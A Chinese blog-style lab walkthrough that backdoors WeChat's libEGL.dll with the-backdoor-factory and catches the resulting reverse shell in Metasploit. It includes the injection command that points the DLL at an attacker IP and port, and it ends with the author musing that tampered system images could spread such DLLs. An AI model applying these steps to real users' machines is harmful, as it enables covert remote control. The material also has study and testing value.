- 准备工作
- 复现过程
一. 准备工作
1. 测试环境
虚拟环境搭建:VMware Workstation 15 pro
网络模式:桥接模式
攻击机:kali Linux 2019.1 IP:192.168.43.143
靶机:Windows 7 ultimate sp1 x64 IP:192.168.43.109
微信版本:2.6.8
2. 使用工具
the-backdoor-factory(BDF):用于DLL注入
Process Explorer:用于查找DLL文件
Metasploit
二. 复现过程
1.DLL注入
1.1安装BDF
在kali系统中安装BDF,具体步骤可以参考readme文档
1 | root@kali:~# git clone https://github.com/secretsquirrel/the-backdoor-factory.git |
1.2获取DLL文件
使用Process Explorer查找微信客户端需要的dll文件
理论上来讲路径在微信安装目录里的dll文件都可以使用,本文选择的是libEGL.dll。
1.3DLL注入
把选择的DLL文件放入kali系统中,放置在the-backdoor-factory文件下内,运行如下命令
1 | ./backdoor.py -f libEGL.dll -s reverse_shell_tcp_inline -P 6666 -H 192.168.43.143 |
其中,-f 表示被劫持的DLL 文件,-s 表示shell 的类型,-P 表示DLL 要连接远程主机的端口,-H 表示DLL 连接的远程主机,注意参数的大小写问题。
接下来选择注入类型,我这里只有一个类型可以选择,有的会有多种,可以自行尝试。在注入完成后,可以看到生成的文件在backdoored目录中。
2.反弹shell
2.1将dll文件放回微信的安装目录中
2.2使用Metasploit反弹shell
打开MSF,设置exploit和payload
1 | use exploit/multi/handler |
设置好lhost和lport之后,使用exploit运行,监听shell。此时,在靶机中打开微信客户端,即接收到shell。
我的靶机里是开着Windows防火墙的,依然没有拦住,这还是说明杀毒软件是有必要的,有空着我去拿win10的靶机试试,看看defender能不能拦住。
最后再补几句吧,这应该不算是漏洞吧,因为几乎所有程序都需要调用dll,所以这个东西顶多算个劫持,所以理论上所有的程序都可以被劫持,至于原理应也很简单,在调用dll时运行植入的脚本。其实这个用来攻击应该是比较简单的,比如说网上的系统镜像,把里面的一个dll改掉,基本不太容易被发现。当然了,以上这段话都是我猜的,没有什么依据,以后如果水平够了可能会研究研究吧。